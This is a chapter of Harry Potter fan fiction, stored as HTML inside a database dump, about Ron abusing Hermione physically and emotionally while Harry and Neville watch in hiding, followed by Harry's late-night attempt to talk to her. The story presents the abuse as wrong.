would get out\nof there was if the door opened</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Ron stood next to the door, his arms crossed in front of\nhim.&nbsp; &#8220;Okay, where is he?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Where&#8217;s who?&#8221; Hermione said back.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Longbottom, I know he came up here to see you.&#8221; Ron said looking\nstraight into her eyes; he knew she could never lie to him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;He&#8217;s not anywhere that I can see.&#8221; She replied honestly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;If I even had an inclining that you were cheating on me\nHermione, I would be very upset.&#8221; He stepped towards her and she took a step\nback.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I&#8212;I&#8221; Hermione took in a breath.&nbsp; &#8220;I would never cheat on you Ron, you know\nthat.&#8221; Hermione said looking up at Ron, she never knew what he was thinking and\nthat&#8217;s what scared her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I know that Herm, you know how I know?&#8221; Ron stepped closer\nto her and saw her nod.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I know.&#8221; Hermione glanced to the floor.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Ron knew that she knew but he liked rubbing it in, &#8220;It&#8217;s\nbecause no one else will have you, you have no one to cheat on me with.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;That&#8217;s only because they are all afraid of you.&#8221; She\nblurted out without thinking.&nbsp; Hermione&#8217;s\nwidened with fear with the realization at what she had just said.&nbsp; Ron closed the space between them, Hermione\ntried to move out of his way but he was too quick and he had grabbed her by the\nupper arms.&nbsp; She winced in pain and her\nface contorted in the agony of her already badly bruised arms.&nbsp; She let out a strangled cry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry knew this was not going to be a happy conversation,\nbut he was not going to interfere- he just wanted out.&nbsp; They could deal with this situation themselves.\nThat Hermione girl had Neville to look out for her, she didn&#8217;t need him. Nor\ndid he want her to need him.&nbsp; He just\nwanted to be left alone; he had his own problems to deal with.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Neville who was under the bed could see Ron and Hermione\nclearly.&nbsp; He wanted to stop them but he\nknew if he made his presence known it would just be worse for Hermione later.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Perhaps if Neville knew that Harry was in the room they\ncould have both taken Ron down, but Harry did not want to get in the middle of\nthis, and Neville was afraid even more for Hermione&#8217;s safety not to mention his\nown.&nbsp; He wasn&#8217;t always going to be there\nto help her, and he knew that there would be a time when it&#8217;s just going to be\nRon and Hermione then she would feel his full wrath.&nbsp; Chances are this conversation wouldn&#8217;t be so\nbad; he wasn&#8217;t outrageously violent all the time.&nbsp; Wait a minute, yes he was.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;When will you get it through your thick skull,&#8221; He shook\nher as his temper raged on.&nbsp; &#8220;No one will\nhave you because you are nothing, you are worse than nothing.&nbsp; The lowest class of witch there ever could\nbe.&nbsp; Born of Muggles, trash\nHermione.&nbsp; That&#8217;s all that you are.&#8221; His\nvoice calmed a bit. &#8220;No respectable wizard would ever want to even be in the\nsame room as you, that is every wizard except me.&nbsp; I gave you a chance even though you are\ndirty, soiled and ruined since the day you were born.&nbsp; You should be thanking me everyday of your\nlife.&#8221; Ron said softly, he saw Hermione&#8217;s head drop as she glanced down at the\nfloor.&nbsp; &#8220;You know that.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione nodded.&nbsp; She\nhated to admit it but Ron was right.&nbsp; No\none would want a Muggle born such as herself.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;And when other wizards touch you, they are only doing that\nto spite me.&nbsp; Trying to see how far they\ncan get, mostly because they know a Mudblood such as yourself\nwill take what she can get.&#8221; He heard her sniffle. &#8220;They don&#8217;t care about how\nyou feel or what you&#8217;re thinking.&nbsp; That\nidiot Longbottom, I know what he&#8217;s after and it isn&#8217;t to be your close friend.&nbsp; I wouldn&#8217;t trust him at all.&#8221;&nbsp; Ron sighed pulling her against him wrapping\nhis arms around her.&nbsp; &#8220;Now I&#8217;m not like\nthose wizards, you know I only do what&#8217;s in your best interest.&nbsp; I look out for you and I take care of you.\nDon&#8217;t I? I mean don&#8217;t I protect you from Crabbe and Goyle?&#8221;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Yes.&#8221; Hermione said.&nbsp;\n&#8220;Yes you do.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Ron pushed her back from him looking about her face;\nHermione thought she was actually going to get a kind word from him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp;&#8220;You look horrid you\nknow.&#8221;&nbsp; Ron said with disgust.&nbsp; &#8220;Really repulsive.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione wanted to burst into tears but she kept them in, she\nfelt them swell in her eyes but she pushed them away.&nbsp; They would not fall.&nbsp; Hermione sucked in a breath, &#8220;Well it&#8217;s your\nfault of how I look, you did this.&#8221; Another\nslip of the tongue.&nbsp; She wanted to\nkick herself.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;You did this to yourself, you forced me do this.&#8221; His eyes\nnarrowed and his temper flared, &#8220;If you weren&#8217;t such a whore then this wouldn&#8217;t\nhappen.&nbsp; If you just did what you were\ntold&#8212;&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I am not a whore Ron,&#8221; Hermione yelled interrupting\nhim.&nbsp; Now that was a mistake, a big\nmistake. &#8220;I don&#8217;t&#8212;&#8221; She continued but interrupted herself with a loud yelp as\nthe back of his hand connected with her already bruised cheek.&nbsp; She moved with the force of the blow, but\nstill managed to keep herself tear free even though it really hurt.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Both Harry and Neville had to close their eyes as they saw\nhis hand hit hard against her face, it made such a loud smack that it even\ncaused both boys to jump a bit.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry had to keep telling himself over and over again, he\nwasn&#8217;t going to get involved.&nbsp; No, no\nthis was their problem not his.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Now look what you made me do, all of this is your fault.&#8221;\nRon shouted, &#8220;You know not to raise your voice at me.&nbsp; Me, who takes care of you.&nbsp; Me, whose family took you in.&nbsp; Me, who you owe everything to.&nbsp; This is how you repay me, with smart ass\nremarks and disobedience? Running around with every to town wizard, spreading\nyour filth.&#8221;&nbsp; Ron glared. &#8220;I see I am\nwasting my time with you, there a much better witches than you Hermione\nGranger.&nbsp; Sure you might be really\nbeautiful, when you don&#8217;t look like a wretch like you do right now, but that&#8217;s\nall that you have.&nbsp; I can find better\nfemales worthy of my affection and time, you are obviously not.&#8221;&nbsp; He turned to go.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Ron, don&#8217;t leave, please?&#8221; Hermione begged her voice clear with\ndesperation at the thought of him leaving her when she was to blame for all of\nthis.&nbsp; She was wrong, oh so wrong.&nbsp; Hermione saw him spin around on his heels and\nfaced her as she continued to speak. &#8220;You are right Ron, you are so very\nright.&nbsp; I did deserve that.&nbsp; I know that you are only looking out for\nme.&nbsp; You are the only one that cares for\nme.&nbsp; I&#8212;I should treat you with more\nrespect.&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Ron nodded, &#8220;Well as long as you know that you were at\nfault, I suppose I can forgive you. And I will have you back.&nbsp; You have no need to worry I will not leave\nyou.&#8221;&nbsp; He smiled a little. &#8220;Now you stay\nup here and well do something about that mess on your face, and then we&#8217;ll\ntalk.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Th&#8212;this will take a few days to\nheal Ron.&#8221; She pointed to her face. &#8220;My covering spells aren&#8217;t working.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Are you saying that I&#8217;m also to blame for that?&#8221; Ron&#8217;s eyes\nnarrowed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;No, no. Not at all.&#8221; She said\nquickly.&nbsp; &#8220;I am,\nthey are my spells I should be able to handle them.&#8221; She thought a moment. &#8220;You\nknow what, I&#8217;m probably going to sneak down into the hospital wing tonight when\neveryone is asleep and steal some of that Heal Up potion from Madame\nPomfrey.&nbsp; I should be as good as new for\nyou tomorrow.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Ron smiled, &#8220;That&#8217;s my girl.&#8221; He leaned in to kiss her but\nhe cringed at the site of her face and pulled back. &#8220;Also, tomorrow wear your\nhair up for me, I like you like that.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione nodded. &#8220;Yes.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">He leaned closer to her ear, &#8220;You can tell Longbottom to\ncome out from his hiding place, where ever that may be.&#8221;&nbsp; Ron didn&#8217;t know where Neville was hiding, but\nhe knew he was in the room. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione&#8217;s eyes widened.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I&#8217;m letting this one slide Hermione, mostly because he&#8217;s\ntoo much of a wimp to do anything, or even make a move on you.&#8221;&nbsp; He narrowed his eyes staring right at her,\n&#8220;But if he ever does.&#8221;&nbsp; Ron paused, &#8220;I&#8217;ll\nbreak his neck.&#8221; He said with a grin.&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Ron turned around and started for the door, he didn&#8217;t even\ngive Hermione one last look before pulling the door open and leaving through\nit.&nbsp; Harry, still invisible left quickly\nas well.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Neville came out from underneath the bed as Hermione now had\nher attention on the plate of food that was sitting there.&nbsp; &#8216;<i style="mso-bidi-font-style:normal">So\nthat&#8217;s how he knew Neville was here.&#8217; </i>She thought to herself.&nbsp; She went over to the chair and picked up the\nplate and set it on the dresser, she pulled the chair close and sat down.&nbsp; She started picking at the food, starting\nwith the ham.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Hermione?&#8221; Neville started.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Neville I don&#8217;t want to talk to you, please just leave.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Hermione, Ron is wrong.&nbsp;\nI would never&#8212;&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Just go.&#8221; She interrupted while staring down into her\nplate, not even giving Neville a second glance.&nbsp;\nRon was right; it was possible that Neville was only being nice to her\nso he could have his way with her later.&nbsp;\nShe would not take the chance.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Neville sighed and went towards the door and left through\nit, closing it quietly behind him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione watched as the door closed and then returned to her\nbreakfast, she wouldn&#8217;t trust anyone other than Ron, not ever.&nbsp; It had been proven that he was the only one\nthat will ever care about her.&nbsp; She was\nvery lucky to have him in her life.&nbsp; She\nwould try her hardest not to displease him because it might make him leave and\nthen she would have nothing.&nbsp; And he had\nto at least love her to be taking this effort to show her how wrong she has\nalways been.&nbsp; Hermione nodded in her\nthoughts.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">In History of Magic, Harry just couldn&#8217;t concentrate.&nbsp; Something was truly bothering him and he knew\nexactly what it was.&nbsp; He looked at the\nempty seat next to Ron in the row in front of him.&nbsp; &#8216;<i style="mso-bidi-font-style:\nnormal">No, stop thinking about that.</i><i style="mso-bidi-font-style:\nnormal">&nbsp; It&#8217;s none of your\nbusiness.&nbsp; But she needs help.&nbsp; No, I&#8217;m not getting in the middle of\nthis.&nbsp; They can take care of themselves.&#8217;</i>&nbsp; He shifted in his seat &#8216;<i style="mso-bidi-font-style:\nnormal">If they can take care of themselves then why are you still thinking\nabout it?&#8217;</i> Harry sighed <i style="mso-bidi-font-style:normal">&#8216;Even if I\nwanted to, how can I help.&nbsp; I am just one\nperson.&nbsp; Why don&#8217;t you at least talk to\nher?&nbsp; FINE!! If I talk to her will you\nstop bothering me?&nbsp; Yes.&#8217;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry went through the rest of his classes; dinner was\nfinished up fairly quick.&nbsp; It was really\nlate as Harry sat on the couch, he knew that Hermione had already gone to the\nhospital wing to swipe a potion; she would probably take it right then and\nthere.&nbsp; He would still wait up until she\ngot in and then they would actually have a conversation, whether she liked it\nor not.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">His eyelids felt heavy; he was fighting the will of\nsleep.&nbsp; Just as his eyes were drifting\nclosed the portrait swung open causing Harry&#8217;s eyes to snap open, alerting\nhim.&nbsp; He was wide-awake.&nbsp; He saw Hermione come inside a dark cloak was\nover her and she pulled the hood down, her face was perfectly clear, no sign at\nall of what happened on the outside, now on the inside that was another\nmatter.&nbsp; It appeared that she didn&#8217;t see\nhim, so he would make his presence known.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Good evening.&nbsp; Kind\nof late for a stroll don&#8217;t you think?&#8221; Harry said with a smile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Ah!&#8221; Hermione jumped back a bit she had to make him think\nthat she didn&#8217;t see him.&nbsp;&nbsp;&nbsp; She knew who\nwas sitting there.&nbsp; She was always aware\nof where Harry Potter was, ever since he stepped through the barrier at Kings\nCross station, she had known.&nbsp; She was\nthe first to see him, then that stupid little boy had to go and spread the\ngossip.&nbsp; She so wanted to talk to him\nmostly to see if he was as conceded as the books had made him out to sound.&nbsp; But Ron would never allow her to speak to\nanother male let alone a world famous one.&nbsp;\nShe did not raise her head. &#8220;What are you doing?&#8221; She whispered.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Nothing much, just sitting here.&#8221; He got a bit more\ncomfortable on the couch.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;At two in the morning, you should get some sleep.&#8221; Hermione\nslowly started towards the stairs.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;What were you doing out this late?&nbsp; Surely someone who\nis as sick I heard you were this morning shouldn&#8217;t be up and about.&#8221; Harry\nwatched her closely.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione stopped and turned a little. &#8220;So I got better, it&#8217;s\nno big deal.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Okay,&#8221; He replied.&nbsp;\n&#8220;Why is it every time you talk to me, you never look me in the eye?&nbsp; Do you not give any respect to anyone you\ntalk to.&nbsp; Do you always think you are\nabove everybody else?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Me, above everyone?&nbsp; That&#8217;s a laugh.&#8221; She was irritated and\nlaughed in sarcasm. &#8220;Ron has my respect.&#8221; Hermione said quietly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Yes I noticed you always look him in the eye.&#8221;&nbsp; Harry saw her turn around so that her back\nwas to him.&nbsp; &#8220;But why is he the only one?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">She avoided his question; &#8220;You know I have a suspicion that\nyou were waiting for me just now.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Oh you flatter yourself too much, why would I be waiting\nfor you?&#8221; Harry blurted out, and immediately regretted it.&nbsp; He was trying to talk to her, not cut her\ndown.&nbsp; He had heard enough of that from\nRon.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione nodded, she had been wrong. &#8220;Sorry I didn&#8217;t mean to\nsuspect you, I was wrong.&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Wait,&#8221; He quickly made his way over to her, so that he was\nstanding in front of her. &#8220;I was rude, I didn&#8217;t mean to be.&#8221;&nbsp; He saw her lift her eyes to his; he had to\ntake in a breath, as he was lost in them once again.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;No you meant it.&#8221;&nbsp;&nbsp;\nShe slammed her palm over her mouth obviously terrified, &#8220;I&#8217;m sorry I\nshouldn&#8217;t have said that, I should just keep my mouth shut.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry was feeling frustrated, he didn&#8217;t want to give away\nwhat he knew.&nbsp; He quickly lifted his hand\nto run it through his hair and he saw her flinch and her eyes slam shut, a yelp\nsimilar from the one he heard earlier came out of her. &#8220;What did you do that for?&#8221;\nHe was confused.&nbsp; Harry looked at her and\ncarefully asked. &#8220;Did you think I was going hit you, why?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">When Hermione realized she wasn&#8217;t going to be struck, her\neyes opened wide. &#8220;I&#8212;I have to go.&#8221; She turned away from him quickly.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">He wasn&#8217;t going to let her leave so he quickly touched her\non the arm.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione panicked and immediately drew her arm away, &#8220;Don&#8217;t\ntouch me!&#8221; She shrieked in complete fear.&nbsp;\nShe slammed her palm over her mouth again this time because she was too\nloud, and Ron would be in the room in less then a second.&nbsp; She looked around the stairs nervously.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry noticed she was scared, really scared.&nbsp; &#8220;There&#8217;s nothing to worry about from him, I\ngave him some sleeping potion.&nbsp; He&#8217;ll be\nout till morning.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;What do you mean I have nothing to worry about from him,\nwho did you give sleeping potion to?&#8221; Hermione&#8217;s eyes narrowed in suspicion.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Who else, your wonderfully kind and loving boyfriend.&#8221;\nHarry sarcastically.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;What?&nbsp; I don&#8217;t\nunderstand why you would do that.&#8221; She was confused.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Mostly because I&#8217;ve been trying since I got here to talk to\nyou, you just snub me.&nbsp; I&#8217;ve been\nwatching you for a while and well you seem deathly afraid of Weasley.&nbsp; So I thought if I put him out you wouldn&#8217;t be\nafraid.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I am not afraid of Ron,&#8221; She laughed but it was weak,\n&#8220;Where do you get such a&#8212;&quot; Hermione cringed with horror,&nbsp;&quot;You\'ve\nbeen watching&#8212;&#8221;&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry interrupted, &#8220;You thought I was going to hit you,\ndidn&#8217;t you?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I&#8212;it doesn&#8217;t matter what I thought, it never does.&#8221; She\nwanted to kick herself. Curse her outbursts.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Sure it does, why wouldn&#8217;t your thoughts matter?&#8221; Harry\nsaid folding his arms across his chest.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione gulped down a breath of air, &#8220;They just don&#8217;t.&#8221; She\nanswered.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;That&#8217;s not a good answer.&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;What do you want me to say, and I will say it.&#8221; Hermione\nreplied.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I want you to say whatever you want.&#8221; He watched her\ncarefully.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione felt very confused, &#8220;What? I don&#8217;t know what you\nwant from me?&nbsp; You are so\nconfusing.&#8221;&nbsp; She thought a minute\nsomething didn&#8217;t make sense.&nbsp; Ron was\nunder a sleeping spell so that he could talk to her.&nbsp; &#8216;<i style="mso-bidi-font-style:\nnormal">YEAH RIGHT!!&#8217;</i>&nbsp; Her\nmind shouted.&nbsp; Ron was under a spell to\nkeep him out the way so he couldn&#8217;t protect her.&nbsp; Hermione looked at him, she was scared. &#8220;What\ndo you want from me?&#8221; and she started backing away.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Now Harry was confused, &#8220;I don&#8217;t want anything but to talk\nto you.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I&#8212;I don&#8217;t believe you.&#8221; She started backing up towards the\nstairs, carefully keeping a watchful eye on him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;What else would I want other than to talk to y&#8212;&#8221; He paused a\nmoment, he remembered what Ron said.&nbsp;\n&#8220;It&#8217;s not what you&#8217;re thinking.&#8221; Harry said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;You don&#8217;t know what I&#8217;m thinking.&#8221; Hermione said still\nstepped backwards towards the stairs.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Yes I know exactly what you are thinking.&#8221; Harry said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;No you don&#8217;t.&#8221; She was on the first step, all she had to do\nknow is turn and run and she would be home free.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I know what you&#8217;re thinking, and you&#8217;re wrong.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;How could you possibly know what I&#8217;m thinking?&#8221; Hermione\neyed him with fear and confusion.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Because I was there.&#8221; Harry\nfinally gave her the truth, he needed her to trust him and the truth might be\nthe only way.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione stopped. &#8220;You were where?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;In your room,&#8221; He admitted.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;You were in my room?&#8221; Her eyes narrowed, &#8220;When? I would\nhave seen you.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;No you wouldn&#8217;t have, just believe me when I tell you that\nI was there this morning.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;No you weren&#8217;t, you&#8217;re lying.&#8221; She accused.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I&#8217;m not lying, I was there.&#8221;&nbsp; Harry sighed, &#8220;I saw how your so called\nboyfriend treats you.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione&#8217;s eyes widened, &#8220;Oh shit.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">==========</p>\n\n<p class="MsoNormal">Well that&#8217;s it for chapter 3, stay tuned for chapter 4.&nbsp; And just so you all know all of my fics, Amulet of Torna, One Hot Summer, and All That She\nWants, have all been updated for the week.&nbsp;\nThey all have a new chapter, go and check them out if you want.&nbsp; I don&#8217;t think you will be disappointed. :-)</p>\n\n\n\n\n\n\n');
INSERT INTO `chapter_text` (`story_id`, `chapter_number`, `chapter_text`) VALUES
